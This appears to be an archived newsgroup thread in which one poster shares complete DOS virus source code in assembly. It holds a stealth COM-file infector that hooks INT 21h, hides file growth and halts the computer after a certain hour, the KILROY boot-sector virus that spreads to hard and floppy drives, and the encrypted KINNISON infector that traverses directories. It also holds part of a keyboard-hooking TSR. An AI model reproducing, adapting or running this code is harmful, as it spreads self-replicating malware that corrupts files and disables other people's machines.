POP AX ;Restore everything before departure.
POP BX
POP CX
POP DX
POP DI
POP SI
POP DS
STI
RET
PUT ENDP

ASSUME DS:CODE_SEG
INTERCEPT_TIMER PROC NEAR ;This completes filling the buffer
PUSHF ;Store used flags
PUSH DS ;Save DS since we'll change it
PUSH CS ;Put current value of CS into DS
POP DS
CALL ROM_TIMER ;Make obligatory call
PUSHF
CMP FINISHED_FLAG,1 ;Do we have to do anything?
JE OUT1 ;No, leave
CLI ;Yes, start by clearing interrupts
PUSH DS ;Save these.
PUSH SI
PUSH DX
PUSH BX
PUSH AX
ASSUME DS:ROM_BIOS_DATA ;Point to the keyboard buffer again.
MOV AX,ROM_BIOS_DATA
MOV DS,AX
MOV BX,TAIL ;Prepare to put characters in at tail
MOV FINISHED_FLAG,1 ;Assume we'll finish
MOV SI,COMMAND_INDEX ;Find where we left ourselves

STUFF2: MOV AX,WORD PTR PAD[SI] ;The same stuff loop as above.
ADD SI,2 ;Point to next command character.
CMP AX,0 ;Is it zero? (end of command)
JNE OVER ;No, continue.
JMP NO_NEW_CHARACTERS2 ;Yes, leave with Finished_Flag=1
OVER: MOV DX,BX ;Find position in buffer from BX
ADD DX,2 ;Move to next position for this word
CMP DX,OFFSET BUFFER_END ;Are we past the end?
JL NO_WRAP4 ;No, don't wrap
MOV DX,OFFSET BUFFER ;Do the Wrap rap.
NO_WRAP4:
CMP DX,HEAD ;Buffer full but not yet done?
JE BUFFER_FULL2 ;Time to leave, come back later.
ADD COMMAND_INDEX,2 ;Point to next word of command.
MOV [BX],AX ;Put into buffer
ADD BX,2 ;Point to next space in buffer
CMP BX,OFFSET BUFFER_END ;Wrap here?
JL NO_WRAP5 ;No, readjust buffer tail
MOV BX,OFFSET BUFFER ;Yes, wrap
NO_WRAP5:
MOV TAIL,BX ;Reset buffer tail
JMP STUFF2 ;Back to stuff in another character
BUFFER_FULL2:
MOV FINISHED_FLAG,0 ;Set flag to not-done-yet.
NO_NEW_CHARACTERS2:
POP AX ;Restore these.
POP BX
POP DX
POP SI
POP DS
OUT1: POPF ;And Exit.
POP DS
IRET ;With customary IRET
INTERCEPT_TIMER ENDP

LOAD_KEEPER PROC NEAR ;This procedure intializes everything
ASSUME DS:VECTORS ;The data segment will be the Interrupt area
MOV AX,VECTORS
MOV DS,AX

MOV AX,KEYBOARD_INT ;Get the old interrupt service routine
MOV OLD_KEYBOARD_INT,AX ;address and put it into our location
MOV AX,KEYBOARD_INT[2] ;OLD_KEYBOARD_INT so we can call it.
MOV OLD_KEYBOARD_INT[2],AX

MOV KEYBOARD_INT,OFFSET KEEPER ;Now load the address of our
notepad
MOV KEYBOARD_INT[2],CS ;routine into the keyboard interrupt

MOV AX,TIMER_VECTOR ;Now same for timer
MOV ROM_TIMER,AX
MOV AX,TIMER_VECTOR[2]
MOV ROM_TIMER[2],AX

MOV TIMER_VECTOR,OFFSET INTERCEPT_TIMER
MOV TIMER_VECTOR[2],CS ;And intercept that too.

ASSUME DS:ROM_BIOS_DATA
MOV AX,ROM_BIOS_DATA
MOV DS,AX
MOV BX,OFFSET BUFFER ;Clear the keyboard buffer.
MOV HEAD,BX
MOV TAIL,BX
MOV AH,15 ;Ask for service 15 of INT 10H
INT 10H ;This tells us how display is set up
MOV STATUS_PORT,03BAH ;Assume this is a monochrome display
TEST AL,4 ;Is it?
JNZ EXIT ;Yes - jump out
MOV SCREEN_SEG_OFFSET,8000H ;No - set up for graphics display
MOV STATUS_PORT,03DAH

EXIT: MOV DX,OFFSET LOAD_KEEPER ;Set up everything but LOAD_PAD to
INT 27H ;stay and attach itself to DOS
LOAD_KEEPER ENDP

CODE_SEG ENDS

END FIRST ;END "FIRST" so 8088 will go to FIRST first.





Hу я вроде все сказал... Может еще что добавлю потом...
[√] Пока _All_ !

▌║▐║│║▌║││║║ DreamLand laboratory. P2Pirates<dog>Mail.ru ICQ 638-547-576
2║5080▌244║0 FTP://87.224.224.182

... Ёж птица гордая. Пока не пнешь - не полетит!

John Zaicev

unread,
May 14, 2012, 2:42:04 AM5/14/12
to
... ًدةحإج قإسشط, ذدةحإت ة سد×إسشط خءثدخإأ.

John Zaicev

unread,
May 15, 2012, 2:13:45 AM5/15/12
to
[√] Привет _All_ !

;************************************************************************;
;* Tози Virus е нап░авен на 25.10.1991 г. в *;
;* *;
;* СУ " Св. Климен▓ О╡░ид▒ки " в 17:18.30 hour *;
;* *;
;* ▒▓а┐ 316 на Ф.М.И. *;
;************************************************************************;

start: jmp short begin
db (00h)
db (53h) ; За ░азпознаване на ви░│▒а
db (4bh) ; Дали ┤айла е за░азен
int 20h
okey: db (0b8h)
db (03h)
db (00h)
db (0cdh)
db (10h)

begin: push cx ;
CALL F1 ;
F1: POP SI ; За в║з▒▓анов┐ване на п║░ви▓е 5 бай▓а
SUB SI,09 ;
PUSH SI ;
cld ;
mov di,100h ;
mov cx,5 ;
rep movsb ;
jmp ding2

new21: pushf ; CALL к║м о░игинално▓о INT 21h на
push cs ; IBMDOS.COM - ▒ Єел да не ▓е ╡ва-
call Word ptr cs:[8c0h] ; на▓ н┐кой п░ог░ами за ви░│▒и
ret ; ка▓о Anti4us.exe, NDD и ▓.н.

int21h: STI
cmp ah,4bh ; П░и ▒▓а░▓и░ане на ┤айл
jz mm ;
cmp ah,11h ; П░и ▓║░▒ене на п║░ви и в▓о░и ┤айл
jz home ; ▒ Єел п░и DIR да ▒к░ива ви░│▒а.
cmp ah,12h ;
jz home
jmp int1hh

home: call new21 ; П░оЄед│░а ка▓о п░и DIR п░ове░┐ва
push ax ; дали їа▒а е 10:26 и ,ако е знаїи
push bx ; ┤айла е за░азен и изважда д║лжина-
push es ; ▓а на ви░│▒а да не ▒е забел┐зва
; оголем┐ване▓о на ┤айла.
mov ah,2fh ; Взема DTA в ES:BX . Ча▒а е в bx+1eh
call new21 ; Т│к е 10:26 ;
mov ax,534bh
cmp Word ptr es:[bx+1eh],ax
jnz ox
mov ax,End-Okey+3
sub Word ptr es:[bx+24h],ax
ox: pop es ; Ако не е 10:26 , ▓о знаїи н┐маі
pop bx ; ви░│▒ и н┐ма да намали їа▒а ▒
pop ax ; необ╡одими▓е бай▓ове или д║л-
db (0CAh) ; жина▓а на ви░│▒а в ▒л│їе┐.
dw (2)

;****************************************************;
;* З а ░ а з ┐ в а н е *;
;****************************************************;

mm: pushf
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH DS
PUSH ES
PUSH SI
PUSH DI
xor ax,ax
mov ds,ax
mov di,[0194h]
mov es,[0196h]
mov ax,[004ch]
mov bx,[004eh]
mov cx,0f000h
mov dx,0ec59h
mov [0100h],dx
mov [0102h],cx
mov [0198h],ax
mov [019ah],bx
mov [004ch],di
mov [004eh],es
mov ax,0a15h+new24-begin
push cs
pop ds
push cs
pop es
mov ah,2ch
call new21
cmp cx,0200h
jna mm1
mov ax,0003h
int 10h
mov ah,09h
mov dx,0a15h+n-begin
call new21
cli
hlt

dinge: jmp ding

mm1: mov ah,2fh ;Dos service function ah=2FH (get DTA)
call new21
mov cs:[8b0h],es
mov cs:[8b2h],bx
MOV AH,4eH
MOV DX,0a10h+files-okey
mov cx,0
call new21
jc dinge ;CX File attribute
;DS:DX Pointer of filespec (ASCIIZ string)
vir: mov ax,534bh
cmp es:[bx+16h],ax
jnz fuck
vir1: mov ah,4fh
call new21
jc enzi
jmp short vir
enzi: jmp ding
fuck: mov cx,1500
cmp es:[bx+1ah],cx
jna vir1
fuck1: push es
pop ds
mov ax,3d02h
mov dx,bx
add dx,1eh
call new21
mov cs:[0a10h+handle-okey],ax
mov bx,ax
push cs
pop ds
mov ah,3fh
mov dx,0a10h
mov cx,5
call new21
mov di,0a10h+end-okey
mov al,0e9h
mov [di],al
inc di
mov bx,[8b2h]
mov cx,es:[bx+1ah]
inc cx
inc cx
mov [di],cx
inc di
inc di
mov ax,534bh
mov [di],ax
mov bx,cs:[0a10h+handle-okey]
mov ax,4200h
xor cx,cx
xor dx,dx
call new21
mov ah,40h
mov dx,0a10h+end-okey
mov cx,5
call new21
mov ax,4202h
xor cx,cx
xor dx,dx
call new21
push cs
pop ds
mov bx,cs:[0a10h+handle-okey]
mov ah,40h
mov dx,0a10h
mov cx,end-okey-3
call new21
mov bx,cs:[0a10h+handle-okey]
mov ax,5700h
call new21
mov ax,5701h
mov cx,534bh
call new21
mov ah,3eh
call new21
ding: xor ax,ax
mov ds,ax
mov ax,[0198h]
mov bx,[019ah]
mov [004ch],ax
mov [004eh],bx
POP DI
POP SI
POP ES
POP DS
POP DX
POP CX
POP BX
POP AX
popf

int1hh: jmp word ptr cs:[8c0h] ; П░ек║▒ване 21H

files: db '*.com',0 ; За░аз┐ва ▒амо COM ┤айлове

new24: mov al,03 ; Int 24h да не дава Write Protect
iret

ding2: MOV AX,0070h ; Влиза в ▒егмен 0070h: и п░е▓║░▒ва
MOV ES,AX ; за необ╡одими▓е бай▓ове на INT13H
MOV DI,0000h
MOV AX,80FBh
non1: CLD
MOV CX,0FFFFh
non2: REPNZ SCASW
JZ non
MOV DI,0001h
JMP non1
non: MOV BX,02FCh
CMP ES:[DI],BX
JNZ non2
DEC DI
DEC DI
xor ax,ax ; Hагла▒┐ ново▓о п░ек║▒ване INT13H и
mov ds,ax ; и ▒е подго▓в┐ за ░або▓а
mov [0194h],di
mov [0196h],es
mov es,[009eh]
mov bx,[00a0h]
push cs
pop ds
MOV BP,DS
pop si
push si ; П░е╡в║░л┐ ви░│▒а в ▒▓ека на
MOV DI,0a10h ; COMMAND.COM
MOV CX,Handle-Okey ; А ▒║╣о ▓ака и подго▓в┐
REP MOVSB ; ви░│▒а доб░е да ▒е │к░епи
PUSH ES ; и опле▓е ▒ Int 21h
LEA DI,[BX+1bh]
MOV AL,0e9h
STOSB
MOV AX,0A30h
SUB AX,DI
STOSW
MOV AX,9090H
STOSW
STOSW
MOV ES:[8c0h],DI
MOV AX,SS
SUB AX,0018h
CLI
MOV SS,AX
STI
MOV DS,BP
POP ES
pop si
pop cx
xor ax,ax
xor bx,bx
xor dx,dx
xor si,si
mov di,100h
push di
xor di,di
ret
n: db "K.I.I.S.° ",024h ; Този ▓е▒▓ ▒е о▓пеїа▓ва ▒лед 2 їа▒а.
handle: dw ? ; А ▒║╣о ▓ака блоки░а комп╛▓║░а.
end: db (00)


Hу я вроде все сказал... Может еще что добавлю потом...
[√] Пока _All_ !

▌║▐║│║▌║││║║ DreamLand laboratory. P2Pirates<dog>Mail.ru ICQ 638-547-576
2║5080▌244║0 FTP://87.224.224.182

... Дети - цветы жизни. Дарите женщинам цветы!

John Zaicev

unread,
May 15, 2012, 2:14:32 AM5/15/12
to
[√] Привет _All_ !

;The KILROY one-sector boot sector virus will both boot up either MS-DOS or
;PC-DOS and it will infect other disks.

;This segment is where the first operating system file (IBMBIO.COM or IO.SYS)
;will be loaded and executed from. We don't know (or care) what is there, but
;we do need the address to jump to defined in a separate segment so we can
;execute a far jump to it.
DOS_LOAD SEGMENT AT 0070H
ASSUME CS:DOS_LOAD

ORG 0

LOAD: DB 0 ;Start of the first operating system
program

DOS_LOAD ENDS


MAIN SEGMENT BYTE
ASSUME CS:MAIN,DS:MAIN,SS:NOTHING

;This jump instruction is just here so we can compile this program as a COM
;file. It is never actually executed, and never becomes a part of the boot
;sector. Only the 512 bytes after the address 7C00 in this file become part of
;the boot sector.
ORG 100H

START: jmp BOOTSEC

;The following two definitions are BIOS RAM bytes which contain information
;about the number and type of disk drives in the computer. These are needed by
;the virus to decide on where to look to find drives to infect. They are not
;normally needed by an ordinary boot sector.

ORG 0410H

SYSTEM_INFO: DB ? ;System info byte: Take bits 6
& 7 and add 1 to get number of
;disk drives on this system (eg
01 = 2 drives)

ORG 0475H

HD_COUNT: DB ? ;Number of hard drives in the
system

;This area is reserved for loading the boot sector from the disk which is going
;to be infected, as well as the first sector of the root directory, when
;checking for the existence of system files and loading the first system file.

ORG 0500H

DISK_BUF: DW ? ;Start of the buffer

ORG 06FEH

NEW_ID: DW ? ;Location of AA55H in boot
sector loaded at DISK_BUF

;Here is the start of the boot sector code. This is the chunk we will take out
;of the compiled COM file and put it in the first sector on a 360K floppy disk.
;Note that this MUST be loaded onto a 360K floppy to work, because the
;parameters in the data area that follow are set up to work only with a 360K
;disk!

ORG 7C00H

BOOTSEC: JMP BOOT ;Jump to start of boot sector
code

ORG 7C03H ;This is needed because the
jump will get coded as 2 bytes

DOS_ID: DB 'KILROY ' ;Name of this boot sector (8
bytes)
SEC_SIZE: DW 200H ;Size of a sector, in bytes
SECS_PER_CLUST: DB 02 ;Number of sectors in a cluster
FAT_START: DW 1 ;Starting sector for the first
File Allocation Table (FAT)
FAT_COUNT: DB 2 ;Number of FATs on this disk
ROOT_ENTRIES: DW 70H ;Number of root directory
entries
SEC_COUNT: DW 2D0H ;Total number of sectors on
this disk
DISK_ID: DB 0FDH ;Disk type code (This is 360KB)
SECS_PER_FAT: DW 2 ;Number of sectors per FAT
SECS_PER_TRK: DW 9 ;Sectors per track for this
drive
HEADS: DW 2 ;Number of heads (sides) on
this drive
HIDDEN_SECS: DW 0 ;Number of hidden sectors on
the disk

DSKBASETBL:
DB 0 ;Specify byte 1: step rate
time, head unload time
DB 0 ;Specify byte 2: Head load
time, DMA mode
DB 0 ;Wait time until motor turned
off, in clock ticks
DB 0 ;Bytes per sector (0=128,
1=256, 2=512, 3=1024)
DB 12H ;Last sector number (we make it
large enough to handle 1.2/1.44 MB floppies)
DB 0 ;Gap length between sectors for
r/w operations, in bytes
DB 0 ;Data transfer length when
sector length not specified
DB 0 ;Gap length between sectors for
format operations, in bytes
DB 0 ;Value stored in newly
formatted sectors
DB 1 ;Head settle time, in
milliseconds (we set it small to speed operations)
DB 0 ;Motor startup time, in 1/8
seconds

HEAD: DB 0 ;Current head to read from
(scratch area used by boot sector)

;Here is the start of the boot sector code

BOOT: CLI ;interrupts off
XOR AX,AX ;prepare to set up
segments
MOV ES,AX ;set ES=0
MOV SS,AX ;start stack at
0000:7C00
MOV SP,OFFSET BOOTSEC
MOV BX,1EH*4 ;get address of disk
LDS SI,SS:[BX] ;param table in ds:si
PUSH DS
PUSH SI ;save that address
PUSH SS
PUSH BX ;and its address

MOV DI,OFFSET DSKBASETBL ;and update default
MOV CX,11 ;values to the table
stored here
CLD ;direction flag cleared
DFLT1: LODSB
CMP BYTE PTR ES:[DI],0 ;anything non-zero
JNZ SHORT DFLT2 ;is not a default, so
don't save it
STOSB ;else put default value
in place
JMP SHORT DFLT3 ;and go on to next
DFLT2: INC DI
DFLT3: LOOP DFLT1 ;and loop until cx=0

MOV AL,AH ;set ax=0
MOV DS,AX ;set ds=0 so we can set
disk tbl
MOV WORD PTR [BX+2],AX ;to @DSKBASETBL (ax=0
here)
MOV WORD PTR [BX],OFFSET DSKBASETBL ;ok, done
STI ;now turn interrupts on
INT 13H ;and reset disk drive
system
ERROR1: JC ERROR1 ;if an error, hang the
machine

;Attempt to self reproduce. If this boot sector is located on drive A, it will
;attempt to relocate to drive C. If successful, it will stop, otherwise it will
;attempt to relocate to drive B. If this boot sector is located on drive C, it
;will attempt to relocate to drive B.
SPREAD:
CALL DISP_MSG ;Display the "Kilroy
was here!" message
MOV BX,OFFSET DISK_BUF ;read other boot
sectors into this buffer
CMP BYTE PTR [DRIVE],80H
JZ SPREAD2 ;if it's C, go try to
spread to B
MOV DX,180H ;if it's A, try to
spread to C first, try Head 1
CMP BYTE PTR [HD_COUNT],0 ;see if there is a hard
drive
JZ SPREAD2 ;none - try floppy B
MOV CX,1 ;read Track 0, Sector 1
MOV AX,201H
INT 13H
JC SPREAD2 ;on error, go try drive
B
CMP WORD PTR [NEW_ID],0AA55H ;make sure it really is
a boot sector
JNZ SPREAD2
CALL MOVE_DATA
MOV DX,180H ;and go write the new
sector
MOV CX,1
MOV AX,301H
INT 13H
JC SPREAD2 ;if an error writing to
C:, try infecting B:
JMP SHORT LOOK_SYS ;if no error, go look
for system files
SPREAD2: MOV AL,BYTE PTR [SYSTEM_INFO] ;first see if there is
a B drive
AND AL,0C0H
ROL AL,1 ;put bits 6 & 7 into
bits 0 & 1
ROL AL,1
INC AL ;add one, so now AL=#
of drives
CMP AL,2
JC LOOK_SYS ;no B drive, just quit
MOV DX,1 ;read drive B
MOV AX,201H ;read one sector
MOV CX,1 ;read Track 0, Sector 1
INT 13H
JC LOOK_SYS ;if an error here, just
exit
CMP WORD PTR [NEW_ID],0AA55H ;make sure it really is
a boot sector
JNZ LOOK_SYS ;no, don't attempt
reproduction
CALL MOVE_DATA ;yes, move this boot
sector in place
MOV DX,1
MOV AX,301H ;and write this boot
sector to drive B
MOV CX,1
INT 13H

;Here we look at the first file on the disk to see if it is the first MS-DOS or
;PC-DOS system file, IO.SYS or IBMBIO.COM, respectively.
LOOK_SYS:
MOV AL,BYTE PTR [FAT_COUNT] ;get fats per disk
XOR AH,AH
MUL WORD PTR [SECS_PER_FAT] ;multiply by sectors
per fat
ADD AX,WORD PTR [HIDDEN_SECS] ;add hidden sectors
ADD AX,WORD PTR [FAT_START] ;add starting fat
sector

PUSH AX
MOV WORD PTR [DOS_ID],AX ;root dir, save it

MOV AX,20H ;dir entry size
MUL WORD PTR [ROOT_ENTRIES] ;dir size in ax
MOV BX,WORD PTR [SEC_SIZE] ;sector size
ADD AX,BX ;add one sector
DEC AX ;decrement by 1
DIV BX ;ax=# sectors in root
dir
ADD WORD PTR [DOS_ID],AX ;DOS_ID=start of data
MOV BX,OFFSET DISK_BUF ;set up disk read
buffer at 0000:0500
POP AX
CALL CONVERT ;and go convert
sequential sector number to bios data
MOV AL,1 ;prepare for a disk
read for 1 sector
CALL READ_DISK ;go read it

MOV DI,BX ;compare first file on
disk with
MOV CX,11 ;required file name
MOV SI,OFFSET SYSFILE_1 ;of first system file
for PC DOS
REPZ CMPSB
JZ SYSTEM_THERE ;ok, found it, go load
it

MOV DI,BX ;compare first file
with
MOV CX,11 ;required file name
MOV SI,OFFSET SYSFILE_2 ;of first system file
for MS DOS
REPZ CMPSB
ERROR2: JNZ ERROR2 ;not the same - an
error, so hang the machine

;Ok, system file is there, so load it
SYSTEM_THERE:
MOV AX,WORD PTR [DISK_BUF+1CH] ;get file size of
IBMBIO.COM/IO.SYS
XOR DX,DX
DIV WORD PTR [SEC_SIZE] ;and divide by sector
size
INC AL ;ax=number of sectors
to read
MOV BP,AX ;store that number in
BP
MOV AX,WORD PTR [DOS_ID] ;get sector number of
start of data
PUSH AX
MOV BX,700H ;set disk read buffer
to 0000:0700
RD_BOOT1: MOV AX,WORD PTR [DOS_ID] ;and get sector to read
CALL CONVERT ;convert to bios
Trk/Cyl/Sec info
MOV AL,1 ;read one sector
CALL READ_DISK ;go read the disk
SUB BP,1 ;subtract 1 from number
of sectors to read
JZ DO_BOOT ;and quit if we're done
ADD WORD PTR [DOS_ID],1 ;add sectors read to
sector to read
ADD BX,WORD PTR [SEC_SIZE] ;and update buffer
address
JMP RD_BOOT1 ;then go for another


;Ok, the first system file has been read in, now transfer control to it
DO_BOOT:
MOV CH,BYTE PTR [DISK_ID] ;Put drive type in ch
MOV DL,BYTE PTR [DRIVE] ;Drive number in dl
POP BX
; JMP FAR PTR LOAD ;use the nicer far jump
if compiling with MASM or TASM
MOV AX,0070H ;A86 is too stupid to
handle that,
PUSH AX ;so let's fool it with
a far return
XOR AX,AX
PUSH AX
RETF


;Convert sequential sector number in ax to BIOS Track, Head, Sector
information.
;Save track number in DX, sector number in CH,
CONVERT:
XOR DX,DX
DIV WORD PTR [SECS_PER_TRK] ;divide ax by sectors
per track
INC DL ;dl=sector number to
start read on, al=track/head count
MOV CH,DL ;save it here
XOR DX,DX
DIV WORD PTR [HEADS] ;divide ax by head
count
MOV BYTE PTR [HEAD],DL ;dl=head number, save
it
MOV DX,AX ;ax=track number, save
it in dx
RET


;Read the disk for the number of sectors in al, into the buffer es:bx, using
;the track number in DX, the head number at HEAD, and the sector
;number at CH.
READ_DISK:
MOV AH,2 ;read disk command
MOV CL,6 ;shift possible upper 2
bits of track number to
SHL DH,CL ;the high bits in dh
OR DH,CH ;and put sector number
in the low 6 bits
MOV CX,DX
XCHG CH,CL ;ch (0-5) = sector, cl,
ch (6-7) = track
MOV DL,BYTE PTR [DRIVE] ;get drive number from
here
MOV DH,BYTE PTR [HEAD] ;and head number from
here
INT 13H ;go read the disk
ERROR3: JC ERROR3 ;hang in case of an
error
RET

;Move data that doesn't change from this boot sector to the one read in at
;DISK_BUF. That includes everything but the DRIVE ID (at offset 7DFDH) and
;the data area at the beginning of the boot sector.
MOVE_DATA:
MOV SI,OFFSET DSKBASETBL ;Move all of the boot
sector code after the data area
MOV DI,OFFSET DISK_BUF + (OFFSET DSKBASETBL - OFFSET
BOOTSEC)
MOV CX,OFFSET DRIVE - OFFSET DSKBASETBL
REP MOVSB
MOV SI,OFFSET BOOTSEC ;Move the initial jump
and the sector ID
MOV DI,OFFSET DISK_BUF
MOV CX,11
REP MOVSB
RET

;Display the null terminated string at MESSAGE.
DISP_MSG:
MOV SI,OFFSET MESSAGE ;set offset of message
up
DM1: MOV AH,0EH ;Execute BIOS INT 10H,
Fctn 0EH (Display Char)
LODSB ;get character to
display
OR AL,AL
JZ DM2 ;repeat until 0
INT 10H ;display it
JMP SHORT DM1 ;and get another
DM2: RET


SYSFILE_1: DB 'IBMBIO COM' ;PC DOS System file
SYSFILE_2: DB 'IO SYS' ;MS DOS System file
MESSAGE: DB 'Kilroy was here!',0DH,0AH,0AH,0

ORG 7DFDH

DRIVE: DB 0 ;Disk drive (A or C)
for this sector

BOOT_ID: DW 0AA55H ;Boot sector ID word


MAIN ENDS


END START


Hу я вроде все сказал... Может еще что добавлю потом...
[√] Пока _All_ !

▌║▐║│║▌║││║║ DreamLand laboratory. P2Pirates<dog>Mail.ru ICQ 638-547-576
2║5080▌244║0 FTP://87.224.224.182

... Hе так страшен черт, как его малютка.

John Zaicev

unread,
May 15, 2012, 2:15:08 AM5/15/12
to
[√] Привет _All_ !

; KINNISON.ASM -- Sam Kinnison virus
; Created by Nowhere Man's Virus Creation Labratory v0.75
; Written by Nowhere Man

virus_type equ 0

code segment 'CODE'
assume cs:code,ds:code,es:code,ss:code
org 0100h

main proc near
flag: mov ah,0
nop
nop

jmp start ; Would be at start of victim
nop
nop
start: call find_offset ; Push IP on to stack, advance IP
find_offset: pop di ; DI holds old IP
sub di,3 ; Adjust for length of CALL

lea si,[di + start_of_code - start] ; SI points to code
call encrypt_decrypt ; Decrypt the code

start_of_code label near

push di ; Save DI
mov si,offset flag ; SI points to flag bytes
lea di,[di + new_jump - start] ; DI points to start of jump
movsw ; Transfer two bytes
movsw ; Transfer two bytes
pop di ; Restore DI
push di ; And save it for later
lea si,[di + buffer - start]; SI points to old start
mov di,0100h ; DI points to start of code
movsw ; Transfer two bytes
movsw ; Transfer two bytes
movsw ; Transfer two bytes
movsb ; Transfer final byte
pop di ; Restore DI

mov bp,sp ; BP points to stack
sub sp,128 ; Allocate 128 bytes on stack

mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address on stack

mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer on stack
int 021h

call get_day
cmp ax,000Bh
jne end00
call get_weekday
cmp ax,0005h
jne end00
mov cx,0003h
call beep
end00: xor ah,ah ; BIOS get time function
int 01Ah
test dx,0001h
jne no_infection
call search_files
no_infection:
call get_day
cmp ax,000Bh
jne end01
call get_weekday
cmp ax,0005h
jne end01
lea si,[di + data00 - start] ; SI points to data
call display_string
end01: pop dx ; DX holds original DTA address
mov ah,01Ah ; DOS set DTA function
int 021h

mov sp,bp ; Deallocate local buffer

mov di,0100h ; Push 0100h on to stack for
push di ; return to main program

xor ax,ax ;
mov bx,ax ;
mov cx,ax ;
mov dx,ax ; Empty out the registers
mov si,ax ;
mov di,ax ;
mov bp,ax ;

ret ; Return to original program
main endp

search_files proc near
push bp ; Save BP
mov bp,sp ; BP points to local buffer
sub sp,64 ; Allocate 64 bytes on stack

mov ah,047h ; DOS get current dir function
xor dl,dl ; DL holds drive # (current)
lea si,[bp - 64] ; SI points to 64-byte buffer
int 021h

mov ah,03Bh ; DOS change directory function
lea dx,[di + root - start] ; DX points to root directory
int 021h

call traverse ; Start the traversal

mov ah,03Bh ; DOS change directory function
lea dx,[bp - 64] ; DX points to old directory
int 021h

mov sp,bp ; Restore old stack pointer
pop bp ; Restore BP
ret ; Return to caller

root db "\",0 ; Root directory
search_files endp

traverse proc near
push bp ; Save BP

mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address

mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack

mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h

mov ah,04Eh ; DOS find first function
mov cx,00010000b ; CX holds search attributes
mov dx,offset all_files ; DX points to "*.*"
int 021h
jc leave_traverse ; Leave if no files present

check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory?
jne another_dir ; If not, try again
cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."?
je another_dir ;If so, keep going

mov ah,03Bh ; DOS change directory function
lea dx,[bp - 98] ; DX points to new directory
int 021h

call traverse ; Recursively call ourself

mov ah,03Bh ; DOS change directory function
lea dx,[di + up_dir - start]; DX points to parent directory
int 021h

another_dir: mov ah,04Fh ; DOS find next function
int 021h
jnc check_dir ; If found check the file

leave_traverse:
lea dx,[di + com_mask - start] ; DX points to "*.COM"
call find_files ; Try to infect a file
done_searching: mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h

pop bp ; Restore BP
ret ; Return to caller

up_dir db "..",0 ; Parent directory name
all_files db "*.*",0 ; Directories to search for
com_mask db "*.COM",0 ; Mask for all .COM files
traverse endp

find_files proc near
push bp ; Save BP

mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address

mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack

push dx ; Save file mask
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h

mov ah,04Eh ; DOS find first file function
mov cx,00100111b ; CX holds all file attributes
pop dx ; Restore file mask
find_a_file: int 021h
jc done_finding ; Exit if no files found
call infect_file ; Infect the file!
jnc done_finding ; Exit if no error
mov ah,04Fh ; DOS find next file function
jmp short find_a_file ; Try finding another file

done_finding: mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h

pop bp ; Restore BP
ret ; Return to caller
find_files endp

infect_file proc near
mov ah,02Fh ; DOS get DTA address function
int 021h
mov si,bx ; SI points to the DTA

mov ax,04301h ; DOS set file attributes function
xor cx,cx ; Clear all attributes
lea dx,[si + 01Eh] ; DX points to victim's name
int 021h

mov ax,03D02h ; DOS open file function, r/w
int 021h
xchg bx,ax ; BX holds file handle

mov ah,03Fh ; DOS read from file function
mov cx,7 ; CX holds bytes to read (7)
lea dx,[di + buffer - start]; DX points to buffer
int 021h

push si ; Save DTA address before compare
mov byte ptr [di + set_carry - start],0 ; Assume we'll fail
lea si,[di + buffer - start]; SI points to comparison buffer
push di ; Save virus offset
lea di,[di + new_jump - start] ; DI points to virus flag
mov cx,4 ; CX holds number of bytes (4)
rep cmpsb ; Compare the first four bytes
pop di ; Restore DI
je close_it_up ; If equal then close up
mov byte ptr [di + set_carry - start],1 ; Success -- the file is OK

cwd ; Zero CX _ Zero bytes from start
mov cx,dx ; Zero DX /
mov ax,04200h ; DOS file seek function, start
int 021h

mov ax,04202h ; DOS file seek function, EOF
cwd ; Zero DX _ Zero bytes from end
mov cx,dx ; Zero CX /
int 021h

sub ax,7 ; Prepare for JMP
mov word ptr [di + new_jump + 5 - start],ax ; Construct JMP for later

call encrypt_code ; Make an encrypted copy of ourself

mov ah,040h ; DOS write to file function
mov cx,finish - start ; CX holds virus length
lea dx,[di + finish - start] ; DX points to encrypted copy
int 021h

cwd ; Zero DX _ Zero bytes from start
mov cx,dx ; Zero CX /
mov ax,04200h ; DOS file seek function, start
int 021h

mov ah,040h ; DOS write to file function
mov cx,7 ; CX holds bytes to write (7)
lea dx,[di + new_jump - start] ; DX points to the jump we made
int 021h

close_it_up: pop si ; Restore DTA address

mov ax,05701h ; DOS set file time function
mov cx,[si + 016h] ; CX holds old file time
mov dx,[si + 018h] ; DX holds old file date
int 021h

mov ah,03Eh ; DOS close file function
int 021h

mov ax,04301h ; DOS set file attributes function
xor ch,ch ; Clear CH for file attribute
mov cl,[si + 015h] ; CX holds file's old attributes
lea dx,[si + 01Eh] ; DX points to victim's name
int 021h

infection_done: cmp byte ptr [di + set_carry - start],1 ; Set carry flag if
failed
ret ; Return to caller

set_carry db ? ; Set-carry-on-exit flag
buffer db 5 dup (090h),0CDh,020h ; Buffer to hold test data
new_jump db 4 dup (?),0E9h,?,? ; New jump to virus
infect_file endp


beep proc near
jcxz beep_end ; Exit if there are no beeps

mov ax,0E07h ; BIOS display char., BEL
beep_loop: int 010h ; Beep
loop beep_loop ; Beep until --CX = 0

beep_end: ret ; Return to caller
beep endp

display_string proc near
mov ah,0Eh ; BIOS display char. function
display_loop: lodsb ; Load the next char. into AL
or al,al ; Is the character a null?
je disp_strnend ; If it is, exit
int 010h ; BIOS video interrupt
jmp short display_loop ; Do the next character
disp_strnend: ret ; Return to caller
display_string endp

get_day proc near
mov ah,02Ah ; DOS get date function
int 021h
mov al,dl ; Copy day into AL
cbw ; Sign-extend AL into AX
ret ; Return to caller
get_day endp

get_weekday proc near
mov ah,02Ah ; DOS get date function
int 021h
cbw ; Sign-extend AL into AX
ret ; Return to caller
get_weekday endp

